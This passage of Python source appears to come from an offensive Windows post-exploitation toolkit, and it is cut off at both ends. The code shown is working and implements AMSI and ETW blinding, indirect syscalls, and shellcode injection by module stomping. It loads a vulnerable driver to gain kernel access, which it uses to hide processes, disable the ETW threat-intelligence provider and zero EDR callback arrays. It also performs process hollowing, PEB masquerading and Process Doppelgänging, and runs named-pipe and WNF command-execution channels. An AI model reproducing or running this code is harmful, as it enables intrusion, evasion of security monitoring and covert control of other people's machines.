        print("[+] amsi-hw: hardware breakpoint on AmsiScanBuffer (DR0)")
        print("    no bytes patched -- current thread only (DR is per-thread)")
        self._track("evasion", "amsi hw breakpoint", lambda: self._clear_hw_bp(0, addr))
        return True

    def etw_blind_hw(self):
        addr = k32.GetProcAddress(k32.GetModuleHandleW("ntdll.dll"), b"EtwEventWrite")
        if not addr:
            return False
        self._setup_veh()
        self._hw_bp_targets[addr] = 'etw'
        self._set_hw_bp(k32.GetCurrentThreadId(), 1, addr)
        print("[+] etw-hw: hardware breakpoint on EtwEventWrite (DR1)")
        print("    no bytes patched -- current thread only (DR is per-thread)")
        self._track("evasion", "etw hw breakpoint", lambda: self._clear_hw_bp(1, addr))
        return True

    def _resolve_ssn(self, func_name):
        addr = k32.GetProcAddress(k32.GetModuleHandleW("ntdll.dll"), func_name.encode())
        if not addr:
            return None, None
        stub = (ctypes.c_byte * 32)()
        ctypes.memmove(stub, addr, 32)
        raw = bytes(stub)
        if raw[0:3] != b'\x4C\x8B\xD1' or raw[3] != 0xB8:
            return None, None
        ssn = struct.unpack_from('<I', raw, 4)[0]
        for i in range(8, len(raw) - 1):
            if raw[i] == 0x0F and raw[i + 1] == 0x05:
                return ssn, addr + i
        return ssn, None

    def _build_syscall_stub(self, func_name):
        if func_name in self._syscall_stubs:
            return self._syscall_stubs[func_name]
        ssn, syscall_addr = self._resolve_ssn(func_name)
        if ssn is None or syscall_addr is None:
            return None
        code = b'\x4C\x8B\xD1'
        code += b'\xB8' + struct.pack('<I', ssn)
        code += b'\xFF\x25\x00\x00\x00\x00'
        code += struct.pack('<Q', syscall_addr)
        buf = k32.VirtualAlloc(None, len(code), MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE)
        ctypes.memmove(buf, code, len(code))
        old = wt.DWORD()
        k32.VirtualProtect(buf, len(code), PAGE_EXECUTE_READ, ctypes.byref(old))
        self._syscall_stubs[func_name] = buf
        return buf

    def indirect_syscall(self, func_name, ret_type, arg_types, *args):
        stub = self._build_syscall_stub(func_name)
        if not stub:
            print(f"[-] syscall: can't resolve {func_name}")
            return None
        func_type = ctypes.WINFUNCTYPE(ret_type, *arg_types)
        func = func_type(stub)
        return func(*args)

    def syscall_info(self, func_name):
        ssn, addr = self._resolve_ssn(func_name)
        if ssn is not None:
            print(f"[+] {func_name}: SSN=0x{ssn:04X} syscall@0x{addr:016X}")
            stub = self._build_syscall_stub(func_name)
            if stub:
                print(f"    indirect stub allocated at 0x{stub:016X}")
                print("    SSN read from in-memory ntdll (will fail if stub is hooked)")
                print("    calls jump through ntdll syscall instruction")
        else:
            print(f"[-] {func_name}: not a syscall stub or hooked")

    def _find_remote_module(self, pid, dll_name):
        snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
        if snap == INVALID_HANDLE:
            return None, 0
        me = MODULEENTRY32W()
        me.dwSize = ctypes.sizeof(MODULEENTRY32W)
        if not k32.Module32FirstW(snap, ctypes.byref(me)):
            k32.CloseHandle(snap)
            return None, 0
        dll_lower = dll_name.lower()
        while True:
            if me.szModule.lower() == dll_lower:
                base = me.modBaseAddr
                size = me.modBaseSize
                k32.CloseHandle(snap)
                return base, size
            if not k32.Module32NextW(snap, ctypes.byref(me)):
                break
        k32.CloseHandle(snap)
        return None, 0

    def _remote_loadlib(self, hproc, dll_name):
        dll_bytes = (dll_name + '\x00').encode('utf-16-le')
        addr = k32.VirtualAllocEx(hproc, None, len(dll_bytes),
                                  MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
        if not addr:
            return False
        written = ctypes.c_size_t()
        k32.WriteProcessMemory(hproc, addr, dll_bytes, len(dll_bytes),
                               ctypes.byref(written))
        loadlib = k32.GetProcAddress(k32.GetModuleHandleW("kernel32.dll"),
                                     b"LoadLibraryW")
        ht = k32.CreateRemoteThread(hproc, None, 0, loadlib, addr, 0, None)
        if not ht:
            return False
        k32.WaitForSingleObject(ht, 5000)
        k32.CloseHandle(ht)
        return True

    def inject_stomp(self, pid, shellcode_path, dll_name="amsi.dll"):
        self._enable_privilege("SeDebugPrivilege")
        with open(shellcode_path, 'rb') as f:
            sc = f.read()

        hproc = k32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
        if not hproc:
            print(f"[-] stomp: OpenProcess failed ({k32.GetLastError()})")
            return False

        base, mod_size = self._find_remote_module(pid, dll_name)
        if not base:
            print(f"[*] stomp: loading {dll_name} into PID {pid}")
            if not self._remote_loadlib(hproc, dll_name):
                print("[-] stomp: remote LoadLibrary failed")
                k32.CloseHandle(hproc)
                return False
            time.sleep(0.5)
            base, mod_size = self._find_remote_module(pid, dll_name)
            if not base:
                print("[-] stomp: can't find module after load")
                k32.CloseHandle(hproc)
                return False

        hdr_buf = (ctypes.c_byte * 4096)()
        read_sz = ctypes.c_size_t()
        k32.ReadProcessMemory(hproc, base, hdr_buf, 4096, ctypes.byref(read_sz))
        hdr_raw = bytes(hdr_buf)

        dos = IMAGE_DOS_HEADER.from_buffer_copy(hdr_raw)
        if dos.e_magic != 0x5A4D:
            print("[-] stomp: bad PE header in remote module")
            k32.CloseHandle(hproc)
            return False

        fh = IMAGE_FILE_HEADER.from_buffer_copy(hdr_raw, dos.e_lfanew + 4)
        sec_off = dos.e_lfanew + 4 + ctypes.sizeof(IMAGE_FILE_HEADER) + fh.SizeOfOptionalHeader

        text_rva = None
        text_size = 0
        for i in range(fh.NumberOfSections):
            off = sec_off + i * ctypes.sizeof(IMAGE_SECTION_HEADER)
            sec = IMAGE_SECTION_HEADER.from_buffer_copy(hdr_raw, off)
            name = bytes(sec.Name).rstrip(b'\x00')
            if name == b'.text':
                text_rva = sec.VirtualAddress
                text_size = sec.VirtualSize
                break

        if text_rva is None:
            print("[-] stomp: .text not found in remote module")
            k32.CloseHandle(hproc)
            return False

        if len(sc) > text_size:
            print(f"[-] stomp: shellcode ({len(sc)}) bigger than .text ({text_size})")
            k32.CloseHandle(hproc)
            return False

        text_addr = base + text_rva
        old = wt.DWORD()
        k32.VirtualProtectEx(hproc, text_addr, len(sc), PAGE_READWRITE, ctypes.byref(old))
        written = ctypes.c_size_t()
        k32.WriteProcessMemory(hproc, text_addr, sc, len(sc), ctypes.byref(written))
        k32.VirtualProtectEx(hproc, text_addr, len(sc), PAGE_EXECUTE_READ, ctypes.byref(old))

        ht = k32.CreateRemoteThread(hproc, None, 0, text_addr, None, 0, None)
        if not ht:
            print(f"[-] stomp: thread creation failed ({k32.GetLastError()})")
            k32.CloseHandle(hproc)
            return False

        print(f"[+] stomp: {len(sc)} bytes -> {dll_name} .text @ 0x{text_addr:016X}")
        print("    memory backed by DLL on disk, bypasses unbacked-memory scans")
        k32.CloseHandle(ht)
        k32.CloseHandle(hproc)
        return True

    def byovd_load(self, driver_path):
        if self._byovd_handle:
            print("[*] byovd: driver already loaded")
            return True
        if not os.path.isfile(driver_path):
            print(f"[-] byovd: {driver_path} not found (bring your own driver)")
            return False

        svc_name = "RTCoreSvc"
        bin_path = os.path.abspath(driver_path)

        scm = adv.OpenSCManagerW(None, None, SC_MANAGER_ALL_ACCESS)
        if not scm:
            print(f"[-] byovd: OpenSCManager failed ({k32.GetLastError()})")
            return False

        svc = adv.CreateServiceW(
            scm, svc_name, svc_name, SERVICE_ALL_ACCESS,
            SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
            bin_path, None, None, None, None, None)

        if not svc:
            err = k32.GetLastError()
            if err == 1073:
                svc = adv.OpenServiceW(scm, svc_name, SERVICE_ALL_ACCESS)
            else:
                print(f"[-] byovd: CreateService failed ({err})")
                adv.CloseServiceHandle(scm)
                return False

        if not adv.StartServiceW(svc, 0, None):
            err = k32.GetLastError()
            if err != 1056:
                print(f"[-] byovd: StartService failed ({err})")
                adv.DeleteService(svc)
                adv.CloseServiceHandle(svc)
                adv.CloseServiceHandle(scm)
                return False

        adv.CloseServiceHandle(svc)
        adv.CloseServiceHandle(scm)

        dev = k32.CreateFileW(
            "\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE,
            0, None, OPEN_EXISTING, 0, None)
        if dev == INVALID_HANDLE:
            print(f"[-] byovd: can't open device ({k32.GetLastError()})")
            return False

        self._byovd_handle = dev
        self._byovd_svc = svc_name
        print(f"[+] byovd: {os.path.basename(driver_path)} loaded, kernel R/W available")
        self._track("kernel", "vuln driver loaded", lambda: self.byovd_unload())
        return True

    def byovd_unload(self):
        if self._byovd_handle:
            k32.CloseHandle(self._byovd_handle)
            self._byovd_handle = None
        if self._byovd_svc:
            scm = adv.OpenSCManagerW(None, None, SC_MANAGER_ALL_ACCESS)
            if scm:
                svc = adv.OpenServiceW(scm, self._byovd_svc,
                                       SERVICE_ALL_ACCESS | DELETE)
                if svc:
                    status_buf = (ctypes.c_byte * 36)()
                    adv.ControlService(svc, 1, status_buf)
                    adv.DeleteService(svc)
                    adv.CloseServiceHandle(svc)
                adv.CloseServiceHandle(scm)
            self._byovd_svc = None
        print("[+] byovd: driver unloaded and service removed")

    def _kr(self, addr, size=4):
        if not self._byovd_handle:
            return None
        mem = RTCORE_MEMORY()
        mem.Address = addr
        mem.ReadSize = size
        ret = wt.DWORD()
        k32.DeviceIoControl(self._byovd_handle, RTCORE_READ_IOCTL,
                            ctypes.byref(mem), ctypes.sizeof(mem),
                            ctypes.byref(mem), ctypes.sizeof(mem),
                            ctypes.byref(ret), None)
        return mem.Value

    def _kw(self, addr, val, size=4):
        if not self._byovd_handle:
            return False
        mem = RTCORE_MEMORY()
        mem.Address = addr
        mem.ReadSize = size
        mem.Value = val
        ret = wt.DWORD()
        return bool(k32.DeviceIoControl(self._byovd_handle, RTCORE_WRITE_IOCTL,
                                        ctypes.byref(mem), ctypes.sizeof(mem),
                                        ctypes.byref(mem), ctypes.sizeof(mem),
                                        ctypes.byref(ret), None))

    def _get_kernel_base(self):
        size = wt.DWORD()
        ntdll.NtQuerySystemInformation(11, None, 0, ctypes.byref(size))
        buf = (ctypes.c_byte * size.value)()
        status = ntdll.NtQuerySystemInformation(11, buf, size.value, ctypes.byref(size))
        if status != 0:
            return None
        num = struct.unpack_from('<I', bytes(buf), 0)[0]
        if num == 0:
            return None
        return struct.unpack_from('<Q', bytes(buf), 8 + 16)[0]

    def _find_eprocess(self, target_pid):
        if not self._byovd_handle:
            return None

        kbase = self._get_kernel_base()
        if not kbase:
            print("[-] dkom: kernel base not found")
            return None

        nt_path = os.path.join(os.environ["SYSTEMROOT"], "System32", "ntoskrnl.exe")
        user_nt = k32.LoadLibraryExW(nt_path, None, DONT_RESOLVE_DLL_REFS)
        if not user_nt:
            print("[-] dkom: can't map ntoskrnl")
            return None

        ps_init_off = k32.GetProcAddress(user_nt, b"PsInitialSystemProcess")
        if not ps_init_off:
            k32.FreeLibrary(user_nt)
            print("[-] dkom: PsInitialSystemProcess not exported")
            return None

        offset = ps_init_off - user_nt
        k32.FreeLibrary(user_nt)

        kernel_ps_init = kbase + offset
        lo = self._kr(kernel_ps_init, 4)
        hi = self._kr(kernel_ps_init + 4, 4)
        if lo is None:
            return None
        system_ep = lo | (hi << 32)

        PID_OFF = 0x440
        LINKS_OFF = 0x448

        sys_pid = self._kr(system_ep + PID_OFF, 4)
        if sys_pid != 4:
            for off in range(0x100, 0x600, 8):
                val = self._kr(system_ep + off, 4)
                if val == 4:
                    PID_OFF = off
                    LINKS_OFF = off + 8
                    sys_pid = 4
                    break

        if sys_pid != 4:
            print("[-] dkom: can't find PID offset in EPROCESS")
            return None

        head = system_ep + LINKS_OFF
        flo = self._kr(head, 4)
        fhi = self._kr(head + 4, 4)
        current = flo | (fhi << 32)

        for _ in range(4096):
            if current == head or current == 0:
                break
            ep = current - LINKS_OFF
            pid = self._kr(ep + PID_OFF, 4)
            if pid == target_pid:
                return ep, LINKS_OFF
            flo = self._kr(current, 4)
            fhi = self._kr(current + 4, 4)
            current = flo | (fhi << 32)

        return None

    def process_hide(self, pid=None):
        if not self._byovd_handle:
            print("[-] hide: load a vuln driver first (byovd-load <path>)")
            return False

        if pid is None:
            pid = os.getpid()

        result = self._find_eprocess(pid)
        if result is None:
            print(f"[-] hide: EPROCESS for PID {pid} not found")
            return False

        ep, links_off = result
        flink_addr = ep + links_off
        blink_addr = flink_addr + 8

        flink_lo = self._kr(flink_addr, 4)
        flink_hi = self._kr(flink_addr + 4, 4)
        blink_lo = self._kr(blink_addr, 4)
        blink_hi = self._kr(blink_addr + 4, 4)

        flink = flink_lo | (flink_hi << 32)
        blink = blink_lo | (blink_hi << 32)

        self._kw(blink, flink_lo, 4)
        self._kw(blink + 4, flink_hi, 4)
        self._kw(flink + 8, blink_lo, 4)
        self._kw(flink + 8 + 4, blink_hi, 4)

        self._kw(flink_addr, flink_addr & 0xFFFFFFFF, 4)
        self._kw(flink_addr + 4, (flink_addr >> 32) & 0xFFFFFFFF, 4)
        self._kw(blink_addr, flink_addr & 0xFFFFFFFF, 4)
        self._kw(blink_addr + 4, (flink_addr >> 32) & 0xFFFFFFFF, 4)

        print(f"[+] hide: PID {pid} removed from EPROCESS linked list")
        print("    not returned by NtQuerySystemInformation process enumeration")
        self._track("kernel", f"PID {pid} hidden via DKOM")
        return True

    def callback_list(self):
        if not self._byovd_handle:
            print("[-] callbacks: need byovd driver loaded")
            return False
        kbase = self._get_kernel_base()
        if not kbase:
            print("[-] callbacks: kernel base not found")
            return False
        print(f"[*] kernel base: 0x{kbase:016X}")
        print("[*] stub -- actual callback enumeration not implemented")
        print("    cb-nuke attempts blind zeroing of callback arrays")
        print("    PsSetCreateProcessNotifyRoutine / PsSetLoadImageNotifyRoutine")
        return True

    def _resolve_kernel_sym(self, name):
        kbase = self._get_kernel_base()
        if not kbase:
            return None
        nt_path = os.path.join(os.environ["SYSTEMROOT"], "System32", "ntoskrnl.exe")
        user_nt = k32.LoadLibraryExW(nt_path, None, DONT_RESOLVE_DLL_REFS)
        if not user_nt:
            return None
        sym = k32.GetProcAddress(user_nt, name)
        if not sym:
            k32.FreeLibrary(user_nt)
            return None
        offset = sym - user_nt
        k32.FreeLibrary(user_nt)
        return kbase + offset

    def etw_ti_disable(self):
        if not self._byovd_handle:
            print("[-] etw-ti: load a vuln driver first (byovd-load)")
            return False

        addr = self._resolve_kernel_sym(b"EtwThreatIntProvRegHandle")
        if not addr:
            print("[-] etw-ti: EtwThreatIntProvRegHandle not found in ntoskrnl")
            return False

        lo = self._kr(addr, 4)
        hi = self._kr(addr + 4, 4)
        handle = lo | (hi << 32)

        if handle == 0:
            print("[*] etw-ti: already disabled")
            return True

        self._kw(addr, 0, 4)
        self._kw(addr + 4, 0, 4)
        print(f"[+] etw-ti: provider handle zeroed (was 0x{handle:016X})")
        print("    kernel-level threat intelligence telemetry disabled")
        print("    Defender/EDR loses visibility into process, thread, image events")
        self._track("kernel", "ETW-TI provider disabled")
        return True

    def _scan_data_refs(self, export_name, scan_size=512):
        kbase = self._get_kernel_base()
        if not kbase:
            return []
        nt_path = os.path.join(os.environ["SYSTEMROOT"], "System32", "ntoskrnl.exe")
        user_nt = k32.LoadLibraryExW(nt_path, None, DONT_RESOLVE_DLL_REFS)
        if not user_nt:
            return []
        func = k32.GetProcAddress(user_nt, export_name)
        if not func:
            k32.FreeLibrary(user_nt)
            return []
        func_rva = func - user_nt
        raw = (ctypes.c_byte * scan_size)()
        ctypes.memmove(raw, func, scan_size)
        data = bytes(raw)
        k32.FreeLibrary(user_nt)

        refs = []
        for i in range(len(data) - 7):
            if data[i] in (0x48, 0x4C) and data[i + 1] == 0x8D:
                modrm = data[i + 2]
                if (modrm & 0xC7) == 0x05:
                    disp = struct.unpack_from('<i', data, i + 3)[0]
                    target = kbase + func_rva + i + 7 + disp
                    refs.append(target)
        return refs

    def callback_nuke(self):
        if not self._byovd_handle:
            print("[-] cb-nuke: load a vuln driver first")
            return False

        routines = [
            (b"PsSetCreateProcessNotifyRoutine", "process creation"),
            (b"PsSetCreateThreadNotifyRoutine", "thread creation"),
            (b"PsSetLoadImageNotifyRoutine", "image load"),
        ]

        total = 0
        for export, label in routines:
            refs = self._scan_data_refs(export)
            if not refs:
                print(f"  [-] {label}: can't find array")
                continue

            array_addr = None
            for ref in refs:
                lo = self._kr(ref, 4)
                hi = self._kr(ref + 4, 4)
                val = lo | (hi << 32)
                if val != 0 and (val >> 44) >= 0xFFFFF:
                    array_addr = ref
                    break

            if not array_addr:
                array_addr = refs[0]

            cleared = 0
            for i in range(64):
                slot = array_addr + i * 8
                lo = self._kr(slot, 4)
                hi = self._kr(slot + 4, 4)
                val = lo | (hi << 32)
                if val != 0:
                    self._kw(slot, 0, 4)
                    self._kw(slot + 4, 0, 4)
                    cleared += 1

            total += cleared
            if cleared:
                print(f"  [+] {label}: {cleared} callbacks removed")
            else:
                print(f"  [*] {label}: array clean")

        if total:
            self._track("kernel", f"{total} kernel callback slots zeroed")
        print(f"[+] cb-nuke: {total} slots zeroed (via heuristic array scan)")
        print("    EXPERIMENTAL: array addresses found by RIP-relative scan")
        print("    no build verification -- may zero wrong memory on other builds")
        return total > 0

    def process_hollow(self, target_exe, payload_path):
        self._enable_privilege("SeDebugPrivilege")
        with open(payload_path, 'rb') as f:
            payload = f.read()

        dos = IMAGE_DOS_HEADER.from_buffer_copy(payload)
        if dos.e_magic != 0x5A4D:
            print("[-] hollow: bad PE header")
            return False

        pe_off = dos.e_lfanew
        fh = IMAGE_FILE_HEADER.from_buffer_copy(payload, pe_off + 4)
        opt_off = pe_off + 4 + ctypes.sizeof(IMAGE_FILE_HEADER)

        payload_base = struct.unpack_from('<Q', payload, opt_off + 24)[0]
        payload_ep = struct.unpack_from('<I', payload, opt_off + 16)[0]
        payload_imgsize = struct.unpack_from('<I', payload, opt_off + 56)[0]
        payload_hdrsz = struct.unpack_from('<I', payload, opt_off + 60)[0]

        si = (ctypes.c_byte * 104)()
        pi = (ctypes.c_byte * 24)()
        struct.pack_into('<I', si, 0, 104)

        ok = k32.CreateProcessW(
            target_exe, None, None, None, False,
            CREATE_SUSPENDED, None, None, si, pi)
        if not ok:
            print(f"[-] hollow: CreateProcess failed ({k32.GetLastError()})")
            return False

        hproc = struct.unpack_from('<Q', pi, 0)[0]
        hthread = struct.unpack_from('<Q', pi, 8)[0]
        pid = struct.unpack_from('<I', pi, 16)[0]

        ctx = CONTEXT64()
        ctx.ContextFlags = CONTEXT_FULL
        k32.GetThreadContext(hthread, ctypes.byref(ctx))

        peb_addr = ctx.Rdx
        orig_base = ctypes.c_uint64()
        rd = ctypes.c_size_t()
        k32.ReadProcessMemory(hproc, peb_addr + 0x10, ctypes.byref(orig_base),
                              8, ctypes.byref(rd))

        ntdll.NtUnmapViewOfSection(hproc, orig_base.value)

        new_base = k32.VirtualAllocEx(hproc, payload_base, payload_imgsize,
                                      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
        if not new_base:
            new_base = k32.VirtualAllocEx(hproc, None, payload_imgsize,
                                          MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
        if not new_base:
            print("[-] hollow: alloc failed")
            k32.TerminateProcess(hproc, 1)
            k32.CloseHandle(hthread)
            k32.CloseHandle(hproc)
            return False

        wr = ctypes.c_size_t()
        k32.WriteProcessMemory(hproc, new_base, payload[:payload_hdrsz],
                               payload_hdrsz, ctypes.byref(wr))

        sec_off = pe_off + 4 + ctypes.sizeof(IMAGE_FILE_HEADER) + fh.SizeOfOptionalHeader
        for i in range(fh.NumberOfSections):
            off = sec_off + i * ctypes.sizeof(IMAGE_SECTION_HEADER)
            sec = IMAGE_SECTION_HEADER.from_buffer_copy(payload, off)
            if sec.SizeOfRawData > 0:
                data = payload[sec.PointerToRawData:sec.PointerToRawData + sec.SizeOfRawData]
                k32.WriteProcessMemory(hproc, new_base + sec.VirtualAddress,
                                       data, len(data), ctypes.byref(wr))

        if new_base != payload_base:
            nb = ctypes.c_uint64(new_base)
            k32.WriteProcessMemory(hproc, peb_addr + 0x10, ctypes.byref(nb),
                                   8, ctypes.byref(wr))

        ctx.Rcx = new_base + payload_ep
        k32.SetThreadContext(hthread, ctypes.byref(ctx))
        k32.ResumeThread(hthread)

        if new_base != payload_base:
            print(f"[!] hollow: allocated at 0x{new_base:016X} instead of preferred 0x{payload_base:016X}")
            print("    WARNING: base relocations NOT applied -- PE may crash")
        print(f"[+] hollow: payload -> PID {pid} ({os.path.basename(target_exe)})")
        print(f"    base=0x{new_base:016X} ep=0x{new_base + payload_ep:016X}")
        k32.CloseHandle(hthread)
        k32.CloseHandle(hproc)
        self._track("injection", f"hollow PID {pid}")
        return True

    def peb_masquerade(self, fake_name="svchost.exe", fake_cmdline=None):
        if fake_cmdline is None:
            fake_cmdline = f"C:\\Windows\\System32\\{fake_name} -k netsvcs"

        pbi = (ctypes.c_byte * 48)()
        ret_len = wt.DWORD()
        status = ntdll.NtQueryInformationProcess(
            k32.GetCurrentProcess(), 0, pbi, 48, ctypes.byref(ret_len))
        if status != 0:
            print(f"[-] peb: NtQueryInformationProcess failed (0x{status:08X})")
            return False

        peb_addr = struct.unpack_from('<Q', bytes(pbi), 8)[0]

        params_ptr = ctypes.c_uint64()
        ctypes.memmove(ctypes.byref(params_ptr), peb_addr + 0x20, 8)
        params = params_ptr.value

        fake_path = f"C:\\Windows\\System32\\{fake_name}"
        fake_path_b = fake_path.encode('utf-16-le') + b'\x00\x00'
        buf1 = k32.VirtualAlloc(None, len(fake_path_b), MEM_COMMIT | MEM_RESERVE,
                                PAGE_READWRITE)
        ctypes.memmove(buf1, fake_path_b, len(fake_path_b))
        us1 = struct.pack('<HHIQ', len(fake_path_b) - 2, len(fake_path_b), 0, buf1)
        ctypes.memmove(params + 0x60, us1, 16)

        fake_cmd_b = fake_cmdline.encode('utf-16-le') + b'\x00\x00'
        buf2 = k32.VirtualAlloc(None, len(fake_cmd_b), MEM_COMMIT | MEM_RESERVE,
                                PAGE_READWRITE)
        ctypes.memmove(buf2, fake_cmd_b, len(fake_cmd_b))
        us2 = struct.pack('<HHIQ', len(fake_cmd_b) - 2, len(fake_cmd_b), 0, buf2)
        ctypes.memmove(params + 0x70, us2, 16)

        print(f"[+] peb: masquerading as {fake_name}")
        print(f"    path -> {fake_path}")
        print(f"    cmdline -> {fake_cmdline}")
        self._track("evasion", f"PEB -> {fake_name}")
        return True

    def _xd(self, data, key=0x5A):
        return bytes(b ^ key for b in data)

    def pipe_listen(self, pipe_name=r"\\.\pipe\spoolss_x"):
        if self._pipe_active:
            print("[*] pipe: already listening")
            return
        self._pipe_active = True
        self._pipe_thread = threading.Thread(
            target=self._pipe_loop, args=(pipe_name,), daemon=True)
        self._pipe_thread.start()
        print(f"[+] pipe: listening on {pipe_name}")
        self._track("comms", f"pipe server on {pipe_name}",
                    lambda: self.pipe_stop())

    def pipe_stop(self):
        self._pipe_active = False
        print("[+] pipe: stopped")

    def _pipe_loop(self, pipe_name):
        while self._pipe_active:
            pipe = k32.CreateNamedPipeW(
                pipe_name, 0x00000003, 0x00000006,
                1, 4096, 4096, 0, None)
            if pipe == INVALID_HANDLE:
                time.sleep(1)
                continue

            if not k32.ConnectNamedPipe(pipe, None):
                err = k32.GetLastError()
                if err != 535:
                    k32.CloseHandle(pipe)
                    time.sleep(1)
                    continue

            buf = (ctypes.c_byte * 4096)()
            read_sz = wt.DWORD()

            while self._pipe_active:
                if not k32.ReadFile(pipe, buf, 4096, ctypes.byref(read_sz), None):
                    break
                cmd = bytes(buf[:read_sz.value]).decode('utf-8', errors='ignore').strip()
                if not cmd or cmd == "exit":
                    break
                try:
                    result = subprocess.run(cmd, shell=True, capture_output=True,
                                           text=True, timeout=30)
                    output = (result.stdout + result.stderr).encode('utf-8')
                except Exception as e:
                    output = str(e).encode('utf-8')
                if not output:
                    output = b"(empty)\n"
                written = wt.DWORD()
                k32.WriteFile(pipe, output, len(output), ctypes.byref(written), None)

            k32.DisconnectNamedPipe(pipe)
            k32.CloseHandle(pipe)

    def pipe_connect(self, target, pipe_name="spoolss_x", cmd="whoami"):
        full = f"\\\\{target}\\pipe\\{pipe_name}"
        pipe = k32.CreateFileW(full, GENERIC_READ | GENERIC_WRITE,
                               0, None, OPEN_EXISTING, 0, None)
        if pipe == INVALID_HANDLE:
            print(f"[-] pipe: connect to {full} failed ({k32.GetLastError()})")
            return None

        cmd_bytes = cmd.encode('utf-8')
        written = wt.DWORD()
        k32.WriteFile(pipe, cmd_bytes, len(cmd_bytes), ctypes.byref(written), None)

        buf = (ctypes.c_byte * 4096)()
        read_sz = wt.DWORD()
        k32.ReadFile(pipe, buf, 4096, ctypes.byref(read_sz), None)

        output = bytes(buf[:read_sz.value]).decode('utf-8', errors='ignore')
        print(output, end='')
        k32.CloseHandle(pipe)
        return output

    def wnf_c2_listen(self, state_name=None):
        if self._wnf_c2_active:
            print("[*] wnf-c2: already listening")
            return
        if state_name is None:
            state_name = 0x41C64E6DA3BC1075
        self._wnf_c2_active = True
        self._wnf_c2_thread = threading.Thread(
            target=self._wnf_c2_loop, args=(state_name,), daemon=True)
        self._wnf_c2_thread.start()
        print(f"[+] wnf-c2: polling thread started on state 0x{state_name:016X}")
        print("    uses hardcoded state name -- no ownership/creation lifecycle")
        print("    channel usability depends on whether this state accepts updates")
        self._track("comms", f"wnf c2 on 0x{state_name:016X}",
                    lambda: self.wnf_c2_stop())

    def wnf_c2_stop(self):
        self._wnf_c2_active = False
        print("[+] wnf-c2: stopped")

    def _wnf_c2_loop(self, state_name):
        sn = ctypes.c_uint64(state_name)
        resp_sn = ctypes.c_uint64(state_name ^ 0xFF)
        last_changestamp = wt.DWORD(0)

        while self._wnf_c2_active:
            buf = (ctypes.c_byte * 4096)()
            buf_sz = wt.DWORD(4096)
            changestamp = wt.DWORD(0)

            status = ntdll.NtQueryWnfStateData(
                ctypes.byref(sn), None, None,
                ctypes.byref(changestamp), buf, ctypes.byref(buf_sz))

            if status == 0 and buf_sz.value > 0 and changestamp.value != last_changestamp.value:
                last_changestamp.value = changestamp.value
                cmd = bytes(buf[:buf_sz.value]).decode('utf-8', errors='ignore').strip()
                if not cmd or cmd == "exit":
                    self._wnf_c2_active = False
                    break
                try:
                    result = subprocess.run(cmd, shell=True, capture_output=True,
                                           text=True, timeout=30)
                    output = (result.stdout + result.stderr).encode('utf-8')
                except Exception as e:
                    output = str(e).encode('utf-8')
                if not output:
                    output = b"(empty)\n"
                if len(output) > 4096:
                    output = output[:4096]
                ntdll.NtUpdateWnfStateData(
                    ctypes.byref(resp_sn), output, len(output),
                    None, None, 0, 0)

            time.sleep(0.5)

    def wnf_c2_send(self, state_name=None, cmd="whoami"):
        if state_name is None:
            state_name = 0x41C64E6DA3BC1075
        sn = ctypes.c_uint64(state_name)
        resp_sn = ctypes.c_uint64(state_name ^ 0xFF)

        cmd_bytes = cmd.encode('utf-8')
        status = ntdll.NtUpdateWnfStateData(
            ctypes.byref(sn), cmd_bytes, len(cmd_bytes),
            None, None, 0, 0)
        if status != 0:
            print(f"[-] wnf-c2: send failed (0x{status & 0xFFFFFFFF:08X})")
            return None

        time.sleep(1)

        buf = (ctypes.c_byte * 4096)()
        buf_sz = wt.DWORD(4096)
        changestamp = wt.DWORD(0)
        status = ntdll.NtQueryWnfStateData(
            ctypes.byref(resp_sn), None, None,
            ctypes.byref(changestamp), buf, ctypes.byref(buf_sz))
        if status == 0 and buf_sz.value > 0:
            output = bytes(buf[:buf_sz.value]).decode('utf-8', errors='ignore')
            print(output, end='')
            return output
        print("[-] wnf-c2: no response")
        return None

    def process_doppelgang(self, payload_path, target_name="svchost.exe"):
        if not ktmw32:
            print("[-] doppelgang: ktmw32.dll not available")
            return False

        with open(payload_path, 'rb') as f:
            payload = f.read()

        dos = IMAGE_DOS_HEADER.from_buffer_copy(payload[:64])
        if dos.e_magic != 0x5A4D:
            print("[-] doppelgang: invalid PE")
            return False

        txn = ktmw32.CreateTransaction(None, None, 0, 0, 0, 0, None)
        if txn == INVALID_HANDLE:
            print(f"[-] doppelgang: CreateTransaction failed ({k32.GetLastError()})")
            return False

        temp_path = os.path.join(os.environ["TEMP"], "svchost_txn.exe")

        txn_file = k32.CreateFileTransactedW(
            temp_path, GENERIC_WRITE | GENERIC_READ, 0, None,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, None, txn, None, None)

        if txn_file == INVALID_HANDLE:
            print(f"[-] doppelgang: transacted file create failed ({k32.GetLastError()})")
            k32.CloseHandle(txn)
            return False

        written = wt.DWORD()
        k32.WriteFile(txn_file, payload, len(payload),
                      ctypes.byref(written), None)

        sec_handle = wt.HANDLE()
        file_sz = ctypes.c_int64(len(payload))
        status = ntdll.NtCreateSection(
            ctypes.byref(sec_handle), 0xF001F, None,
            ctypes.byref(file_sz), PAGE_EXECUTE_READ, 0x1000000, txn_file)

        k32.CloseHandle(txn_file)

        if status != 0:
            print(f"[-] doppelgang: NtCreateSection failed (0x{status & 0xFFFFFFFF:08X})")
            ktmw32.RollbackTransaction(txn)
            k32.CloseHandle(txn)
            return False

        ktmw32.RollbackTransaction(txn)
        k32.CloseHandle(txn)

        proc_handle = wt.HANDLE()
        status = ntdll.NtCreateProcessEx(
            ctypes.byref(proc_handle), PROCESS_ALL_ACCESS, None,
            k32.GetCurrentProcess(), 4, sec_handle, None, None, 0)

        k32.CloseHandle(sec_handle)

        if status != 0:
            print(f"[-] doppelgang: NtCreateProcessEx failed (0x{status & 0xFFFFFFFF:08X})")
            return False

        pe_off = dos.e_lfanew
        opt_off = pe_off + 4 + ctypes.sizeof(IMAGE_FILE_HEADER)
        entry_rva = struct.unpack_from('<I', payload, opt_off + 16)[0]
        image_base = struct.unpack_from('<Q', payload, opt_off + 24)[0]
        entry_point = image_base + entry_rva

